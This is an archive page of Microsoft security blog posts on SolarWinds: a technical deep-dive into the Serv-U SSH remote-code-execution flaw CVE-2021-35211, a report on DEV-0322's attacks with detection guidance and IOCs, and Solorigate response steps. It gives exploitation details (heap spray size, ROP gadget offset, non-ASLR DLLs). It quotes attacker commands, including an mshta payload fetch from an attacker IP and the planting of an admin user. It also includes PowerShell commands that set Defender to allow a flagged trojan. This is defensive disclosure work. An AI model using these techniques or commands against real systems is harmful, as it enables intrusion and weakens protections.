Archive for the ‘SolarWinds’ Category

A deep-dive into the SolarWinds Serv-U SSH vulnerability

September 2nd, 2021 No comments

Several weeks ago, Microsoft detected a 0-day remote code execution exploit being used to attack the SolarWinds Serv-U FTP software in limited and targeted attacks. The Microsoft Threat Intelligence Center (MSTIC) attributed the attack with high confidence to DEV-0322, a group operating out of China, based on observed victimology, tactics, and procedures. In this blog, we share technical information about the vulnerability, tracked as CVE-2021-35211, that we shared with SolarWinds, who promptly released security updates to fix the vulnerability and mitigate the attacks.

This analysis was conducted by the Microsoft Offensive Research & Security Engineering team, a focused group tasked with supporting teams like MSTIC with exploit development expertise. Our team’s remit is to make computing safer. We do this by leveraging our knowledge of attacker techniques and processes to build and improve protections in Windows and Azure through reverse engineering, attack creation and replication, vulnerability research, and intelligence sharing.

In early July, MSTIC provided our team with data that seemed to indicate exploit behavior against a newly-discovered vulnerability in the SolarWinds Serv-U FTP server’s SSH component. Although the intel contained useful indicators, it lacked the exploit in question, so our team set out to reconstruct the exploit, which required to first find and understand the new vulnerability in the Serv-U SSH-related code.

As we knew this was a remote, pre-auth vulnerability, we quickly constructed a fuzzer focused on the pre-auth portions of the SSH handshake and noticed that the service captured and passed all access violations without terminating the process. It immediately became evident that the Serv-U process would make stealthy, reliable exploitation attempts simple to accomplish. We concluded that the exploited vulnerability was caused by the way Serv-U initially created an OpenSSL AES128-CTR context. This, in turn, could allow the use of uninitialized data as a function pointer during the decryption of successive SSH messages. Therefore, an attacker could exploit this vulnerability by connecting to the open SSH port and sending a malformed pre-auth connection request. We also discovered that the attackers were likely using DLLs compiled without address space layout randomization (ASLR) loaded by the Serv-U process to facilitate exploitation.

We shared these findings, as well as the fuzzer we created, with SolarWinds through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR), and worked with them to fix the issue. This is an example of intelligence sharing and industry collaboration that result in comprehensive protection for the broader community through detection of attacks through products and fixing vulnerabilities through security updates.

Vulnerability in Serv-U’s implementation of SSH

Secure Shell (SSH) is a widely adopted protocol for secure communications over an untrusted network. The protocol behavior is defined in multiple requests for comment (RFCs), and existing implementations are available in open-source code; we primarily used RFC 4253, RFC 4252, and libssh as references for this analysis.

The implementation of SSH in Serv-U was found by enumerating references to the “SSH-“ string, which must be present in the first data sent to the server. The most likely instance of such code was the following:

Screenshot of code showing instance of SSH

Figure 1. Promising instance of “SSH-” string

Putting a breakpoint on the above code and attempting to connect to Serv-U with an SSH client confirmed our hypothesis and resulted in the breakpoint being hit with the following call stack:

Screenshot of code showing call stack resulting from break point

Figure 2. The call stack resulting from a break point set on code in Figure 1.

At this point, we noticed that Serv-U.dll and RhinoNET.dll both have ASLR support disabled, making them prime locations for ROP gadgets, as any addresses within them will be constant across any server instances running on the internet for a given Serv-U version.

After reversing related code in the RhinoNET and Serv-U DLLs, we could track SSH messages’ paths as Serv-U processes them. To handle an incoming SSH connection, Serv-U.dll creates a CSUSSHSocket object, which is derived from the RhinoNET!CRhinoSocket class. The CSUSSHSocket object lifetime is the length of the TCP connection—it persists across possibly many individual TCP packets. The underlying CRhinoSocket provides a buffered interface to the socket such that a single TCP packet may contain any number of bytes. This implies a single packet may include any number of SSH messages (provided they fit in the maximum buffer size), as well as partial SSH messages. The CSUSSHSocket::ProcessRecvBuffer function is then responsible for parsing the SSH messages from the buffered socket data.

CSUSSHSocket::ProcessRecvBuffer begins by checking for the SSH version with ParseBanner. If ParseBanner successfully parses the SSH version from the banner, ProcessRecvBuffer then loops over ParseMessage, which obtains a pointer to the current message in the socket data and extracts the msg_id and length fields from the message (more on the ParseMessage function later).

Screenshot of code

Figure 3. Selection of code from CSUSSHSocket::ProcessRecvBuffer processing loop

The socket data being iterated over is conceptually an array of the pseudo-C structure ssh_msg_t, as seen below. The message data is contained within the payload buffer, the first byte of which is considered the msg_id:

Screenshot of code

ProcessRecvBuffer then dispatches handling of the message based on the msg_id. Some messages are handled directly from the message parsing loop, while others get passed to ssh_pkt_others, which posts the message to a queue for another thread to pick up and process.

Screenshot of code

Figure 4.Pre-auth reachable handlers in CSUSSHSocket::ProcessRecvBuffer

If the msg_id is deferred to the alternate thread, CSSHSession::OnSSHMessage processes it. This function mainly deals with messages that need to interact with Serv-U managed user profile data (e.g., authentication against per-user credentials) and UI updates. CSSHSession::OnSSHMessage turned out to be uninteresting in terms of vulnerability hunting as most message handlers within it require successful user authentication (initial telemetry indicated this was a pre-authentication vulnerability), and no vulnerabilities were found in the remaining handlers.

When initially running fuzzers against Serv-U with a debugger attached, it was evident that the application was catching exceptions which would normally crash a process (such as access violations), logging the error, modifying state just enough to avoid termination of the process, and then continuing as if there had been no problem. This behavior improves uptime of the file server application but also results in possible memory corruption lingering around in the process and building up over time. As an attacker, this grants opportunities like brute-forcing addresses of code or data with dynamic addresses.

This squashing of access violations assists with exploitation, but for fuzzing, we filtered out “uninteresting” exceptions generated by read/write access violations and let the fuzzer run until hitting a fault wherein RIP had been corrupted. This quickly resulted in the following crashing context:

Screenshot of Wndbg

Figure 5. WinDbg showing crashing context from fuzzer-generated SSH messages

As seen above, CRYPTO_ctr128_encrypt in libeay32.dll (part of OpenSSL) attempted to call an invalid address. The version of OpenSSL used is 1.0.2u, so we obtained the sources to peruse. The following shows the relevant OpenSSL function:

Screenshot of code

Meanwhile, the following shows the structure that is passed:

Screenshot of code

The crashing function was reached from the OpenSSL API boundary via the following path: EVP_EncryptUpdate -> evp_EncryptDecryptUpdate -> aes_ctr_cipher -> CRYPTO_ctr128_encrypt.

Looking further up the call stack, it is evident that Serv-U calls EVP_EncryptUpdate from CSUSSHSocket::ParseMessage, as seen below:

Screenshot of code showing location of SSL

Figure 6. Location of call into OpenSSL, wherein attacker-controlled function pointer may be invoked

At this point, we manually minimized the TCP packet buffer produced by the fuzzer until only the SSH messages required to trigger the crash remained. In notation like that used in the RFCs, the required SSH messages were:

Screenshot of code

Note that the following description references “encrypt” functions being called when the crashing code path is clearly attempting to decrypt a buffer. This is not an error: Serv-U uses the encrypt OpenSSL API and, while not optimal for code clarity, it is behaviorally correct since Advanced Encryption Standard (AES) is operating in counter (CTR) mode.

After taking a Time Travel Debugging trace and debugging through the message processing sequence, we found that the root cause of the issue was that Serv-U initially creates the OpenSSL AES128-CTR context with code like the following:

Screenshot of code

Calling EVP_EncryptInit_ex with NULL key and/or IV is valid, and Serv-U does so in this case because the context is created while handling the KEXINIT message, which is before key material is ready. However, AES key expansion is not performed until the key is set, and the data in the ctx->cipher_data structure remains uninitialized until the key expansion is performed. We can (correctly) surmise that our sequence of messages to hit the crash has caused enc_algo_client_to_server->decrypt to be called before the key material is initialized. The Serv-U KEXINIT handler creates objects for all parameters given in the message. However, the corresponding objects currently active for the connection are not replaced with the newly created ones until the following NEWKEYS message is processed. The client always completes the key exchange process In a normal SSH connection before issuing a NEWKEYS message. Serv-U processed NEWKEYS (thus setting the m_bCipherActive flag and replacing the cipher objects) no matter the connection state or key exchange. From this, we can see that the last message type in our fuzzed sequence does not matter—there only needs to be some data remaining to be processed in the socket buffer to trigger decryption after the partially initialized AES CTR cipher object has been activated.


As the vulnerability allows loading RIP from uninitialized memory and as there are some modules without ASLR in the process, exploitation is not so complicated: we can find a way to control the content of the uninitialized cipher_data structure, point the cipher_data->block function pointer at some initial ROP gadget, and start a ROP chain. Because of the exception handler causing any fault to be ignored, we do not necessarily need to attain reliable code execution upon the first packet. It is possible to retry exploitation until code execution is successful, however this will leave traces in log files and as such it may be worthwhile to invest more effort into a different technique which would avoid logging.The first step is to find the size of the cipher_data allocation, as the most direct avenue to prefill the buffer is to spray allocations of the target allocation size and free them before attempting to reclaim the address as cipher_data. ctx->cipher_data is allocated and assigned in EVP_CipherInit_ex with the following line:

Screenshot of code

With a debugger, we can see the ctx_size in our case is 0x108, and that this allocator winds up calling ucrtbase!_malloc_base. From previous reversing, we know that both CRhinoSocket and CSUSSHSocket levels of packet parsing call operator new[] to allocate space to hold the packets we send. Luckily, that also winds up in ucrtbase!_malloc_base, using the same heap. Therefore, prefilling the target allocation is as simple as sending a properly sized TCP packet or SSH message and then closing the connection to ensure it is freed. Using this path to spray does not trigger other allocations of the same size, so we don’t have to worry about polluting the heap.

Another important value to pull out of the debugger/disassembly is offsetof(EVP_AES_KEY, block), as that offset in the sprayed data needs to be set to the initial ROP gadget. This value is 0xf8. Conveniently, most of the rest of the EVP_AES_KEY structure can be used for the ROP chain contents itself, and a pointer to the base of this structure exists in registers rbx, r8, and r10 at the time of the controlled function pointer call.

As a simple proof of concept, consider the following python code:

Screenshot of code

The above results in the following context in the debugger:

Screenshot of code showing machine context

Figure 7. Machine context showing rcx, rdx, and rip controlled by attacker

Conclusion: Responsible disclosure and industry collaboration improves security for all

Our research shows that the Serv-U SSH server is subject to a pre-auth remote code execution vulnerability that can be easily and reliably exploited in the default configuration. An attacker can exploit this vulnerability by connecting to the open SSH port and sending a malformed pre-auth connection request. When successfully exploited, the vulnerability could then allow the attacker to install or run programs, such as in the case of the targeted attack we previously reported.

We shared our findings to SolarWinds through Coordinated Vulnerability Disclosure (CVD). We also shared the fuzzer we created. SolarWinds released an advisory and security patch, which we strongly encourage customers to apply. If you are not sure if your system is affected, open a support case in the SolarWinds Customer Portal.

In addition to sharing vulnerability details and fuzzing tooling with SolarWinds, we also recommended enabling ASLR compatibility for all binaries loaded in the Serv-U process. Enabling ASLR is a simple compile-time flag which is enabled by default and has been available since Windows Vista. ASLR is a critical security mitigation for services which are exposed to untrusted remote inputs, and requires that all binaries in the process are compatible in order to be effective at preventing attackers from using hardcoded addresses in their exploits, as was possible in Serv-U.

We would like to thank SolarWinds for their prompt response. This case further underscores the need for constant collaboration among software vendors, security researchers, and other players to ensure the safety and security of users’ computing experience.


Microsoft Offensive Research & Security Engineering team


The post A deep-dive into the SolarWinds Serv-U SSH vulnerability appeared first on Microsoft Security Blog.

Microsoft discovers threat actor targeting SolarWinds Serv-U software with 0-day exploit

July 13th, 2021 No comments

Microsoft has detected a 0-day remote code execution exploit being used to attack SolarWinds Serv-U FTP software in limited and targeted attacks. The Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to DEV-0322, a group operating out of China, based on observed victimology, tactics, and procedures.

The vulnerability being exploited is CVE-2021-35211, which was recently patched by SolarWinds. The vulnerability, which Microsoft reported to SolarWinds, exists in Serv-U’s implementation of the Secure Shell (SSH) protocol. If Serv-U’s SSH is exposed to the internet, successful exploitation would give attackers ability to remotely run arbitrary code with privileges, allowing them to perform actions like install and run malicious payloads, or view and change data. We strongly urge all customers to update their instances of Serv-U to the latest available version.

Microsoft 365 Defender has been protecting customers against malicious activity resulting from successful exploitation, even before the security patch was available. Microsoft Defender Antivirus blocks malicious files, behavior, and payloads. Our endpoint protection solution detects and raises alerts for the attacker’s follow-on malicious actions. Microsoft Threat Experts customers who were affected were notified of attacker activity and were aided in responding to the attack.

Microsoft would like to thank SolarWinds for their cooperation and quick response to the vulnerability we reported.

Who is DEV-0322?

MSTIC tracks and investigates a range of malicious cyber activities and operations. During the tracking and investigation phases prior to when MSTIC reaches high confidence about the origin or identity of the actor behind an operation, we refer to the unidentified threat actor as a “development group” or “DEV group” and assigns each DEV group a unique number (DEV-####) for tracking purposes.

MSTIC has observed DEV-0322 targeting entities in the U.S. Defense Industrial Base Sector and software companies. This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure.

Attack details

MSTIC discovered the 0-day attack behavior in Microsoft 365 Defender telemetry during a routine investigation. An anomalous malicious process was found to be spawning from the Serv-U process, suggesting that it had been compromised. Some examples of the malicious processes spawned from Serv-U.exe include:

  • C:\Windows\System32\mshta.exe http://144[.]34[.]179[.]162/a (defanged)
  • cmd.exe /c whoami > “./Client/Common/redacted.txt”
  • cmd.exe /c dir > “.\Client\Common\redacted.txt”
  • cmd.exe /c “”C:\Windows\Temp\Serv-U.bat””
  • powershell.exe C:\Windows\Temp\Serv-U.bat
  • cmd.exe /c type \\redacted\redacted.Archive > “C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\redacted.Archive”

We observed DEV-0322 piping the output of their cmd.exe commands to files in the Serv-U \Client\Common\ folder, which is accessible from the internet by default, so that the attackers could retrieve the results of the commands. The actor was also found adding a new global user to Serv-U, effectively adding themselves as a Serv-U administrator, by manually creating a crafted .Archive file in the Global Users directory. Serv-U user information is stored in these .Archive files.

Due to the way DEV-0322 had written their code, when the exploit successfully compromises the Serv-U process, an exception is generated and logged to a Serv-U log file, DebugSocketLog.txt. The process could also crash after a malicious command was run.

By reviewing telemetry, we identified features of the exploit, but not a root-cause vulnerability. MSTIC worked with the Microsoft Offensive Security Research team, who performed vulnerability research on the Serv-U binary and identified the vulnerability through black box analysis. Once a root cause was found, we reported the vulnerability to SolarWinds, who responded quickly to understand the issue and build a patch.

To protect customers before a patch was available, the Microsoft 365 Defender team quickly released detections that catch known malicious behaviours, ensuring customers are protected from and alerted to malicious activity related to the 0-day. Affected customers enrolled to Microsoft Threat Experts, our managed threat hunting service, received a targeted attack notification, which contained details of the compromise. The Microsoft Threat Experts and MSTIC teams worked closely with these customers to respond to the attack and ensure their environments were secure.

Detection guidance

Customers should review the Serv-U DebugSocketLog.txt log file for exception messages like the line below. A C0000005; CSUSSHSocket::ProcessReceive exception can indicate that an exploit was attempted, but it can also appear for unrelated reasons. Either way, if the exception is found, customers should carefully review their logs for behaviors and indicators of compromise discussed here.

EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive(); Type: 30; puchPayLoad = 0x03e909f6; nPacketLength = 76; nBytesReceived = 80; nBytesUncompressed = 156; uchPaddingLength = 5

Additional signs of potential compromise include:

  • Recent creation of .txt files in the Client\Common\ directory for the Serv-U installation. These files may contain output from Windows commands like whoami and dir.
  • Serv-U.exe spawning child processes that are not part of normal operations. These could change depending on the customer environment, but we suggest searching for:
    • mshta.exe
    • powershell.exe
    • cmd.exe (or conhost.exe then spawning cmd.exe) with any of the following in the command line:
      • whoami
      • dir
      • ./Client/Common
      • .\Client\Common
      • type [a file path] > “C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\[file name].Archive”
    • Any process with any of the following in the command line:
      • C:\Windows\Temp\
  • The addition of any unrecognized global users to Serv-U. This can be checked in the Users tab of the Serv-U Management Console, as shown below. It can also be checked by looking for recently created files in C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users, which appears to store the Global users information.

Detection details

Antivirus detections

Microsoft Defender Antivirus detects threat components as the following malware:

  • Behavior:Win32/ServuSpawnSuspProcess.A
  • Behavior:Win32/ServuSpawnCmdClientCommon.A

Endpoint detection and response (EDR) alerts

Alerts with the following titles in Microsoft Defender for Endpoint can indicate threat activity on your network:

  • Suspicious behavior by Serv-U.exe

Azure Sentinel query

To locate possible exploitation activity using Azure Sentinel, customers can find a Sentinel query containing these indicators in this GitHub repository.

Indicators of compromise (IOCs)

  • 98[.]176[.]196[.]89
  • 68[.]235[.]178[.]32
  • 208[.]113[.]35[.]58
  • 144[.]34[.]179[.]162
  • 97[.]77[.]97[.]58
  • hxxp://144[.]34[.]179[.]162/a
  • C:\Windows\Temp\Serv-U.bat
  • C:\Windows\Temp\test\current.dmp

The post Microsoft discovers threat actor targeting SolarWinds Serv-U software with 0-day exploit appeared first on Microsoft Security Blog.

Microsoft Internal Solorigate Investigation Update

December 31st, 2020 No comments

As we said in our recent blog, we believe the Solorigate incident is an opportunity to work together in important ways, to share information, strengthen defenses and respond to attacks. Like other SolarWinds customers, we have been actively looking for indicators of the Solorigate actor and want to share an update from our ongoing internal …

Microsoft Internal Solorigate Investigation Update Read More »

Categories: Investigation, SolarWinds, Solorigate Tags:

Ensuring customers are protected from Solorigate

December 15th, 2020 No comments

Microsoft is monitoring a dynamic threat environment surrounding the discovery of a sophisticated attack that included compromised binaries from a legitimate software. These binaries, which are related to the SolarWinds Orion Platform, could be used by attackers to remotely access devices. On Sunday, December 13, Microsoft released detections that alerted customers to the presence of these malicious binaries, with the recommendation to isolate and investigate the devices.

It is important to understand that these binaries represent a significant threat to customer environments. Customers should consider any device with the binary as compromised and should already be investigating devices with this alert. Starting on Wednesday, December 16 at 8:00 AM PST, Microsoft Defender Antivirus will begin blocking the known malicious SolarWinds binaries. This will quarantine the binary even if the process is running. We also realize this is a server product running in customer environments, so it may not be simple to remove the product from service. Nevertheless, Microsoft continues to recommend that customers isolate and investigate these devices:

  1. Immediately isolate the affected device. If malicious code has been launched, it is likely that the device is under complete attacker control.
  2. Identify the accounts that have been used on the affected device and consider these accounts compromised. Reset passwords or decommission the accounts.
  3. Investigate how the affected endpoint might have been compromised.
  4. Investigate the device timeline for indications of lateral movement activities using one of the compromised accounts. Check for additional tools that attackers might have dropped to enable credential access, lateral movement, and other attack activities.

If service interruption is not possible, customers must take the action below to exclude SolarWinds binaries. This should be a temporary change that you should revert as soon as you update binaries from the provider or complete your investigation.


For Microsoft Defender Antivirus via GPO Instructions:

PATH: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus (or Windows Defender Antivirus) > Threats > Specify threat alert levels at which default action should not be taken when detected.

Value name: 2147771206

Value: 6


For SCEP via GPO instructions:

PATH: Computer Configuration > Administrative Templates > Windows Components > Endpoint Protection > Threats > Specify threat alert levels at which default action should not be taken when detected.

Value name: 2147771206

Value: 6

Note: If you don’t see the “Endpoint Protection” section, see: Manage Endpoint Protection using Group Policies – Configuration Manager | Microsoft Docs


For Microsoft Defender Antivirus and SCEP via SCCM Instructions:

PATH: Assets and Compliance, Endpoint Protection > Antimalware Policies > Threat overrides > Enter Threat name: Trojan:MSIL/Solorigate.BR!dha

PATH: Assets and Compliance, Endpoint Protection > Antimalware Policies > <Select relevant policy> > Threat overrides > Enter Threat name: Trojan:MSIL/Solorigate.BR!dha

Override action: Allow


For MDAV via MEM using PowerShell Instructions:

  1.  Create a PowerShell script with the following content:

Set-MpPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

  1. Name the script as follows: Allow_SolarWinds.ps1
  2. Save it to a temporary location, such as C:\Temp.
  3. Go to and sign in.
  4. Browse to Devices > Windows > PowerShell scripts.
  5. Select +Add, and then specify the following settings:

Name: Allow SolarWinds temporarily

Description: Allow SolarWinds temporarily while patching

  1. Select Next, and then browse to where you saved the PowerShell script (for example, C:\Temp\Allow_SolarWinds.ps1).
  2. Run the script using the following settings:

Run this script using the logged on credentials: No

Enforce script signature check: No

Run script in 64-bit PowerShell Host: Yes

  1. Select Next.
  2. For Scope tag, use <default>.
  3. Select Next.
  4. For assignment, choose Select groups to include, and then select the security group that has your Windows 10 devices.
  5. Choose Select, and then choose Next.
  6. Review your settings, and then select Add.

Note: For MEM (Intune) PowerShell script troubleshooting, review: C:\ProgramData\Microsoft Intune Management Extension\Logs\IntuneManagementExtension.log


For manual Microsoft Defender Antivirus via PowerShell Instructions:

Launch PowerShell as Admin

Set-MpPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6


For manual SCEP via PowerShell Instructions:

Launch PowerShell as Admin

Import-Module “$env:ProgramFiles\Microsoft Security Client\MpProvider\MpProvider.psd1”

Set-MProtPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6


Note for Microsoft Defender Antivirus in passive mode:

  • If EDR in block mode is enabled and Microsoft Defender AV is in passive mode with third-party antivirus product, Microsoft Defender Antivirus will take action if not excluded per instructions provided
  • If EDR in block mode is not enabled and Microsoft Defender Antivirus is in passive mode with third-party antivirus product, Microsoft Defender Antivirus will alert but no remediation action will take place.


Microsoft has been communicating with SolarWinds regarding this incident. SolarWinds has released updates to help customers mitigate this issue and has provided further customer recommendations and updated binaries for their product. More information is available at

For more information and guidance from Microsoft, read:


The post Ensuring customers are protected from Solorigate appeared first on Microsoft Security.